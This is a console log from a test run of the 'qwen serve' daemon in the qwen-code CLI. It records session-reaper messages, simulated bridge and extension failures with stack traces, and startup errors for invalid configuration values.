qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: Web Shell index send failed: ENOENT: no such file or directory, stat '/tmp/qwen-webshell-g4FBN6/index.html'
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: ACP preheat resolved without a live channel
qwen serve: ACP preheat resolved without a live channel
qwen serve: [/work/bound] extensions install: background task failed: Marketplace "empty-marketplace" has no plugins
qwen serve: [/work/bound] extensions install: background task failed: Extension operation cancelled
qwen serve: [/work/bound] extensions install: background task failed: Extension interaction timed out
qwen serve: [/work/bound] extensions install: background task failed: Extension installation cancelled by a new install request
qwen serve: [/work/bound] extensions install: background task failed: Extension installation cancelled by a new install request
qwen serve: [/work/bound] extensions install: background task failed: Extension operation cancelled
qwen serve: [/work/bound] extensions install: Commit succeeded but post-commit work failed: cleanup exploded
qwen serve: [/work/bound] extensions install: background task failed: Extension operation cancelled
qwen serve: [/work/bound] extensions update: background task failed: Extension "missing-ext" not found
qwen serve: [/work/bound] extensions update: background task failed: Extension "test-ext" has no update
qwen serve: [/work/bound] extensions update: background task failed: Update check failed for extension "test-ext": https://***REDACTED***@example.com/check failed
qwen serve: [/work/bound] extensions uninstall: background task failed: Extension "plain-name" not found
qwen serve: [/work/bound] extensions uninstall: background task failed: Extension "https://example.com/missing" not found
qwen serve: bridge error (GET /session/:id/context session=s-secondary): Error: summary exploded
at summaryImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:7661:17)
at Object.getSessionSummary (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:1811:14)
at scanLiveOwners (/build/qwen-code/src/qwen-code/packages/cli/src/serve/workspace-registry.ts:316:24)
at Object.resolveLiveSessionOwner (/build/qwen-code/src/qwen-code/packages/cli/src/serve/workspace-registry.ts:529:11)
at requireSessionRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session-runtime.ts:53:40)
at resolveLiveSessionRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:1027:5)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:1090:25
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:2851:9
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: bridge error (POST /session): Error: spawn boom
at spawnImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:8886:35)
at Object.spawnOrAttach (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:1734:28)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:1685:44
at processTicksAndRejections (node:internal/process/task_queues:104:5)
qwen serve: workspace_mismatch (POST /session): runtime bound to "/work/bound", rejected "/work/different"
qwen serve: bridge error (POST /session): Error: boom
at spawnImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:9253:17)
at Object.spawnOrAttach (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:1734:28)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:1685:44
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at passthrough (/build/qwen-code/src/qwen-code/packages/cli/src/serve/auth.ts:413:8)
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at Route.dispatch (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:117:3)
at handle (/build/qwen-code/src/qwen-code/node_modules/router/index.js:435:11)
qwen serve: bridge error (POST /session): Error: spawn failed
at spawnImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:9904:17)
at Object.spawnOrAttach (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:1734:28)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:1685:44
at processTicksAndRejections (node:internal/process/task_queues:104:5)
qwen serve: bridge error (POST /session): Error: spawn failed
at spawnImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:9947:17)
at Object.spawnOrAttach (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:1734:28)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:1685:44
at processTicksAndRejections (node:internal/process/task_queues:104:5)
qwen serve: bridge error (POST /session/:id/load session=persisted-secondary): Error: summary exploded
at summaryImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:10785:17)
at Object.getSessionSummary (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:1811:14)
at scanLiveOwners (/build/qwen-code/src/qwen-code/packages/cli/src/serve/workspace-registry.ts:316:24)
at Object.resolveLiveSessionOwner (/build/qwen-code/src/qwen-code/packages/cli/src/serve/workspace-registry.ts:529:11)
at resolveRuntimeForSessionRestore (/build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:1000:41)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:2063:27
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at passthrough (/build/qwen-code/src/qwen-code/packages/cli/src/serve/auth.ts:413:8)
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
qwen serve: organized session list truncated at 50000 sessions
qwen serve: failed to read session-info for workspace "/work/bound": "ENOTDIR: not a directory, scandir '/tmp/qwen-serve-session-info-OUBXk9/projects/-
qwen serve: bridge error (POST /session/:id/btw session=session-A): Error: btw failed
at generateSessionBtwImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:14275:17)
at Object.generateSessionBtw (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:1980:14)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:4419:47
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:1069:17
at SessionArchiveCoordinator.runSharedMany (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server/session-archive.ts:132:20)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:1067:34
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at passthrough (/build/qwen-code/src/qwen-code/packages/cli/src/serve/auth.ts:413:8)
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
qwen serve: bridge error (POST /session/:id/language session=session-A): Error: unexpected failure
at setLanguageImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:14939:17)
at Object.setSessionLanguage (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:1947:14)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:4794:47
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:1069:17
at SessionArchiveCoordinator.runSharedMany (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server/session-archive.ts:132:20)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:1067:34
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at passthrough (/build/qwen-code/src/qwen-code/packages/cli/src/serve/auth.ts:413:8)
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
qwen serve: extension generation reconciliation failed: ENOENT: no such file or directory, mkdir '/tmp/qwen-reload-capabilities-RdHAMe/extension-store'
qwen serve: bridge error (POST /workspace/channel/reload): Error: relaunch failed
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:15993:15)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.spy [as reloadChannelWorker] (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-channel-control.ts:377:37
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at passthrough (/build/qwen-code/src/qwen-code/packages/cli/src/serve/auth.ts:413:8)
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at Route.dispatch (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:117:3)
qwen serve: sessions archive result requested=1 requestedIds=["55555555-bbbb-cccc-dddd-eeeeeeeeeeef"] archived=0 archivedIds=[] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["55555555-bbbb-cccc-dddd-eeeeeeeeeeef":"Session \"55555555-bbbb-cccc-dddd-eeeeeeeeeeef\" is being archived or unarchived;]
qwen serve: bridge error (GET /session/:id/transcript session=55555555-bbbb-cccc-dddd-aeaeaeaeaeae): Error: Transcript session resolution failed across 2 workspace(s)
at resolveTranscriptSessionRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:1209:13)
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:2683:27
at SessionArchiveCoordinator.runSharedMany (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server/session-archive.ts:132:14)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:2680:22
qwen serve: closeSession failed for "aaaabbbb-cccc-dddd-eeee-ffffaaaabbbb": "Client id \"bad-client\" is not registered for session aaaabbbb-cccc-dddd-eeee-ff
qwen serve: closeSession failed for "s-1": "bridge exploded"
qwen serve: closeSession failed for "aaaa3333-bbbb-cccc-dddd-eeeeeeeeeeee": "agent busy"
qwen serve: deleteSession failed for "aaaa5555-bbbb-cccc-dddd-eeeeeeeeeeee": "Session \"aaaa5555-bbbb-cccc-dddd-eeeeeeeeeeee\" is being archived or unarchived;
qwen serve: closeSession failed for "eeee1111-bbbb-cccc-dddd-eeeeeeeeeeee": "Client id \"bad-client\" is not registered for session eeee1111-bbbb-cccc-dddd-ee
qwen serve: sessions archive result requested=1 requestedIds=["eeee3333-bbbb-cccc-dddd-eeeeeeeeeeee"] archived=1 archivedIds=["eeee3333-bbbb-cccc-dddd-eeeeeeeeeeee"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: removeSession failed for "aaaa0000-bbbb-cccc-dddd-eeeeeeeeeeee": "disk on fire"
qwen serve: sessions archive result requested=1 requestedIds=["11111111-bbbb-cccc-dddd-eeeeeeeeeeee"] archived=1 archivedIds=["11111111-bbbb-cccc-dddd-eeeeeeeeeeee"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions archive result requested=1 requestedIds=["22222222-bbbb-cccc-dddd-eeeeeeeeeeee"] archived=0 archivedIds=[] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["22222222-bbbb-cccc-dddd-eeeeeeeeeeee":"flush failed"]
qwen serve: sessions archive result requested=1 requestedIds=["22222222-bbbb-cccc-dddd-eeeeeeeeeeef"] archived=0 archivedIds=[] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["22222222-bbbb-cccc-dddd-eeeeeeeeeeef":"ACP session close channel unavailable for 22222222-bbbb-cccc-dddd-eeeeeeeeeeef"]
qwen serve: sessions archive result requested=1 requestedIds=["22222222-bbbb-cccc-dddd-eeeeeeeeeeee"] archived=0 archivedIds=[] alreadyArchived=0 alreadyArchivedIds=[] notFound=1 notFoundIds=["22222222-bbbb-cccc-dddd-eeeeeeeeeeee"] errors=0 errorIds=[]
qwen serve: sessions unarchive result requested=1 requestedIds=["33333333-bbbb-cccc-dddd-eeeeeeeeeeee"] unarchived=1 unarchivedIds=["33333333-bbbb-cccc-dddd-eeeeeeeeeeee"] alreadyActive=0 alreadyActiveIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions archive result requested=1 requestedIds=["55555555-bbbb-cccc-dddd-eeeeeeeeeeee"] archived=1 archivedIds=["55555555-bbbb-cccc-dddd-eeeeeeeeeeee"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions archive result requested=1 requestedIds=["55555555-bbbb-cccc-dddd-eeeeeeeeeeef"] archived=1 archivedIds=["55555555-bbbb-cccc-dddd-eeeeeeeeeeef"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: sessions archive result requested=1 requestedIds=["55555555-bbbb-cccc-dddd-eeeeeeeeeeee"] archived=0 archivedIds=[] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=1 errorIds=["55555555-bbbb-cccc-dddd-eeeeeeeeeeee":"Session \"55555555-bbbb-cccc-dddd-eeeeeeeeeeee\" is being archived or unarchived;]
qwen serve: sessions archive result requested=2 requestedIds=["66666666-bbbb-cccc-dddd-eeeeeeeeeeee","77777777-bbbb-cccc-dddd-eeeeeeeeeeee"] archived=2 archivedIds=["66666666-bbbb-cccc-dddd-eeeeeeeeeeee","77777777-bbbb-cccc-dddd-eeeeeeeeeeee"] alreadyArchived=0 alreadyArchivedIds=[] notFound=0 notFoundIds=[] errors=0 errorIds=[]
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /health deep probe failed for workspace "97adde5e6e945189": bridge wedged
qwen serve: extension generation reconciliation failed: ENOENT: no such file or directory, scandir '/tmp/qwen-channel-webhooks-runtime-home-fdxzKz/extension-store/transactions'
qwen serve: extension generation reconciliation failed: ENOENT: no such file or directory, scandir '/tmp/qwen-channel-webhooks-runtime-home-fdxzKz/extension-store/transactions'
qwen serve: extension generation reconciliation failed: Extension store is busy at /tmp/qwen-channel-webhooks-runtime-home-fdxzKz/extension-store.
qwen serve: extension generation reconciliation failed: ENOENT: no such file or directory, chmod '/tmp/qwen-channel-webhooks-runtime-home-fdxzKz/extension-store/staging'
qwen serve: extension generation reconciliation failed: ENOENT: no such file or directory, scandir '/tmp/qwen-channel-webhooks-runtime-home-fdxzKz/extension-store/transactions'
qwen serve: extension generation reconciliation failed: ENOENT: no such file or directory, scandir '/tmp/qwen-channel-webhooks-runtime-home-fdxzKz/extension-store/transactions'
qwen serve: extension generation reconciliation failed: Extension store is busy at /tmp/qwen-channel-webhooks-runtime-home-fdxzKz/extension-store.
qwen serve: extension generation reconciliation failed: ENOENT: no such file or directory, mkdir '/tmp/qwen-channel-webhooks-runtime-home-fdxzKz/extensions'
qwen serve: extension generation reconciliation failed: ENOENT: no such file or directory, mkdir '/tmp/qwen-channel-webhooks-runtime-home-fdxzKz/extension-store/staging'
qwen serve: extension generation reconciliation failed: Extension store is busy at /tmp/qwen-channel-webhooks-runtime-home-fdxzKz/extension-store.
qwen serve: extension generation reconciliation failed: Extension store is busy at /tmp/qwen-channel-webhooks-jVxsV8/extension-store.
qwen serve: extension generation reconciliation failed: Extension store is busy at /tmp/qwen-channel-webhooks-jVxsV8/extension-store.
qwen serve: extension generation reconciliation failed: ENOENT: no such file or directory, scandir '/tmp/qwen-channel-webhooks-jVxsV8/extension-store/transactions'
qwen serve: extension generation reconciliation failed: ENOENT: no such file or directory, scandir '/tmp/qwen-channel-webhooks-bad-Yl2Fo3/extension-store/transactions'
qwen serve: extension generation reconciliation failed: ENOENT: no such file or directory, scandir '/tmp/qwen-channel-webhooks-bad-source-UavFe7/extension-store/transactions'
qwen serve: --allow-origin: * (WARNING: `*` admits any cross-origin browser — bearer token gates API routes; /health and /demo remain pre-auth on loopback unless --require-auth is set)
qwen serve: daemon log → /tmp/qwen-serve-runtime-LV18kH/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:38611 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=389404 runQwenServeToListenMs=2779
2026-09-11T22:59:04.592Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
2026-09-11T22:59:06.465Z [WARN] [DAEMON] maxMs=1073.217535 daemon event loop stall detected
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:07.883Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-dxjdMC/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:41657 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=393963 runQwenServeToListenMs=229
2026-09-11T22:59:08.821Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:09.771Z [INFO] [DAEMON] route=GET /capabilities durationMs=219 status=200 request completed
qwen serve: /acp connection established 6ea0cfe4 (loopback=true, active=1)
2026-09-11T22:59:10.899Z [INFO] [DAEMON] route=POST /acp durationMs=119 status=200 request completed
2026-09-11T22:59:11.044Z [INFO] [DAEMON] daemon stopped
qwen serve listening on http://127.0.0.1:43131 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
2026-09-11T22:59:13.252Z [INFO] [DAEMON] route=GET /capabilities durationMs=90 status=200 request completed
qwen serve: /acp connection established 583da740 (loopback=true, active=1)
2026-09-11T22:59:13.508Z [INFO] [DAEMON] route=POST /acp durationMs=89 status=200 request completed
2026-09-11T22:59:13.593Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-uszIsB/debug/daemon/daemon.log
2026-09-11T22:59:14.000Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid mcpClientBudget: 0. Must be a positive integer.
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2569:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21646:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-uszIsB/debug/daemon/daemon.log
2026-09-11T22:59:14.823Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid mcpClientBudget: -5. Must be a positive integer.
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2569:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21654:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-OKhkem/debug/daemon/daemon.log
2026-09-11T22:59:15.163Z [ERROR] [DAEMON] daemon startup failed
Error: mcpBudgetMode="enforce" requires a positive mcpClientBudget. Pass mcpClientBudget=N, or set mcpBudgetMode to "warn" or "off".
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2575:11)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21665:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-WBrsx6/debug/daemon/daemon.log
2026-09-11T22:59:15.600Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid promptDeadlineMs: 0. Must be a positive integer (milliseconds).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2587:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21686:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-IlRwiT/debug/daemon/daemon.log
2026-09-11T22:59:15.812Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid promptDeadlineMs: -5. Must be a positive integer (milliseconds).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2587:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21686:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-ldoGsB/debug/daemon/daemon.log
2026-09-11T22:59:16.040Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid promptDeadlineMs: 1.5. Must be a positive integer (milliseconds).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2587:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21686:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-cHg8E7/debug/daemon/daemon.log
2026-09-11T22:59:16.497Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid promptDeadlineMs: NaN. Must be a positive integer (milliseconds).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2587:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21686:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-CjJOMg/debug/daemon/daemon.log
2026-09-11T22:59:17.226Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid maxPendingPromptsPerSession: -5. Must be a non-negative integer (0 / Infinity = unlimited).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2611:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21704:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-F8nXcN/debug/daemon/daemon.log
2026-09-11T22:59:17.540Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid maxPendingPromptsPerSession: 1.5. Must be a non-negative integer (0 / Infinity = unlimited).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2611:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21704:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-uyFBaU/debug/daemon/daemon.log
2026-09-11T22:59:17.761Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid maxPendingPromptsPerSession: NaN. Must be a non-negative integer (0 / Infinity = unlimited).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2611:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21704:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-vVrgJE/debug/daemon/daemon.log
2026-09-11T22:59:17.948Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid writerIdleTimeoutMs: 0. Must be a positive integer (milliseconds).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2639:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21723:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-tz0ebA/debug/daemon/daemon.log
2026-09-11T22:59:18.140Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid writerIdleTimeoutMs: -5. Must be a positive integer (milliseconds).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2639:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21723:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-4rfo0n/debug/daemon/daemon.log
2026-09-11T22:59:18.266Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid writerIdleTimeoutMs: 1.5. Must be a positive integer (milliseconds).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2639:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21723:7
